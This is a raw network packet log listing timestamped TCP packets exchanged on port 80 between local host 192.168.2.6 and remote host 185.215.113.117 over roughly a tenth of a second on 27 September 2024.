Sep 27, 2024 16:18:20.734222889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734241009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734471083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734486103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734498978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734513998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734532118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734539032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734539032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734553099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734564066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734575033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734596968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734606028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734606028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734622955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734635115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734644890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734653950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734669924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734675884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734694958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734708071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734721899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734723091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734735966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734746933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734760046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734775066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734786987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734797001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734807968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734807968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734822989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734836102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734850883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734858990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734869003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734869003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734894991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735471964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735487938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735502005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735515118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735536098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735547066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735547066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735560894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735579014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735585928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735598087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735609055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735620975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735629082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735641003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735651016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735651016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735665083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735678911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735692024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735701084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735701084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735716105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735732079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735732079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735739946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735754013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735770941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735778093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735778093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735789061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735802889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735816002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735825062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735836029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735846996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.735877991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.735877991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736403942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736418962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736432076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736447096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736459970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736469984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736479998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736491919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736505985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736520052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736529112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736542940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736552000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736552000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736566067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736593962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736628056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736826897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736848116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736861944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736875057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736885071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736885071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736900091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736908913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736924887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736932039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736932039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736944914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736955881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736968040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.736980915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.736989021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.737001896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.737020016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.737026930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.737026930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.737041950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.737051964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.737051964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.737066984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.737097025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.737097025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.745268106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.749996901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750010967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750025034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750041962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750056028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750122070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750122070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750148058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750184059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750196934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750216961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750216961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750241995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750273943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750288010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750303030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750318050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750318050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750329018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750344038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750375032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750479937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750494957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750509024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750524044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750533104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750533104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750555038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750591993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750648022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750663042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750677109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750710011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750710011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750720978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750780106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750792980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750808954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750821114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750839949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750839949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750931978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750946045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.750983953 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.750983953 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751458883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751524925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751538992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751566887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751566887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751591921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751605988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751616001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751630068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751638889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751640081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751653910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751679897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751681089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.751723051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.751760960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.764889002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.764921904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.764942884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.764955997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.764996052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.764996052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765017986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765064955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765074015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765085936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765098095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765125990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765223980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765253067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765268087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765279055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765290022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765300989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765310049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765311003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765330076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765381098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.765656948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.765727043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.782785892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.782874107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.782999992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783011913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783026934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783047915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783054113 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783065081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783075094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783086061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783094883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783107996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783113956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783140898 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783154964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783169985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783206940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783283949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783294916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783304930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783315897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783325911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783334017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783334017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783344984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783366919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783412933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783575058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783586025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783597946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783608913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783629894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783629894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783659935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783704996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783742905 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783793926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783804893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783814907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783826113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.783833981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783854961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.783901930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784065962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784076929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784087896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784099102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784110069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784120083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784132004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784141064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784177065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784177065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784177065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784360886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784372091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784382105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784394026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784399986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784414053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784425974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784431934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784470081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784470081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784643888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784667969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784678936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784688950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784696102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784706116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784715891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784727097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784732103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784743071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784749985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784749985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784761906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784773111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.784796000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.784862041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785140991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785151958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785161972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785171986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785181046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785192966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785203934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785213947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785223007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785257101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785257101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785442114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785451889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785463095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785478115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785490990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785497904 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785497904 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785526991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785705090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785715103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785726070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785737038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785748005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785757065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785765886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785777092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785784006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785793066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785799980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785808086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785820007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.785828114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785872936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.785872936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.837863922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837879896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837893009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837903976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837918997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837929964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.837929964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.837971926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.837980032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.837989092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.838001013 CEST	80	49615	185.215.113.117	192.168.2.6
